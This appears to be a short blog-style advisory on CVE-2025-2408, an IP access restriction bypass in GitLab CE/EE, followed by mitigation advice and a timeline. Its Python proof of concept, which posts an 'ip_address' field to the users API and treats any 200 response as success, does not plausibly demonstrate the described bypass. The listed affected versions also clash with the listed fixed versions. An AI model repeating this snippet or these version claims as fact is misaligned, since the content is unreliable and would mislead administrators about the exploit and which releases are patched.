A crucial security concern has been found in GitLab CE/EE, a popular web-based platform for managing and collaborating on source code. This vulnerability, known as CVE-2025-2408, affects all GitLab CE/EE versions from 13.12 to 17.8.7, 17.9 to 17.9.6, and 17.10 to 17.10.4. Users could exploit this vulnerability to bypass IP access restrictions under specific conditions and gain unauthorized access to confidential information.

Exploit Details

The issue arises when an attacker crafts a malicious request to the GitLab server, enabling them to bypass the IP access restrictions implemented by the server. Once the restrictions are bypassed, users can view sensitive data that, under normal circumstances, they should not have access to.

The following code snippet demonstrates the vulnerability

import requests

# Target GitLab server URL
target_url = 'https://git.example.com/';

# Malicious payload
payload = {
    'ip_address': '111.111.111.111'  # Replace this with the real restricted IP address
}

# Attacker's session
attacker_session = requests.Session()

# Send the request to the GitLab server
response = attacker_session.post(
    target_url + 'api/v4/users',
    json=payload
)

# Check for successful exploitation
if response.status_code == 200:
    print('Successfully bypassed IP access restrictions!')
else:
    print('Failed to bypass IP access restrictions.')

Mitigation

To prevent unauthorized exploitation of this vulnerability, users must update their instances to the latest patch versions from GitLab. These include version 17.10.4, 17.9.6, and 17.8.7. Updating to the latest version will provide a security fix for the vulnerability. Information on updating GitLab can be found here: GitLab Update Documentation

Conclusion

CVE-2025-2408 is a critical security vulnerability that could potentially allow unauthorized access to sensitive information by bypassing IP access restrictions within affected GitLab CE/EE instances. Users must act quickly to update their GitLab instances to the latest patched versions to safeguard their data and avoid potential information leaks.

Original References

1. GitLab Security Advisory
2. CVE-2025-2408 Details
3. NIST Vulnerability Details

Timeline

Published on: 04/10/2025 13:15:51 UTC
Last modified on: 04/11/2025 15:39:52 UTC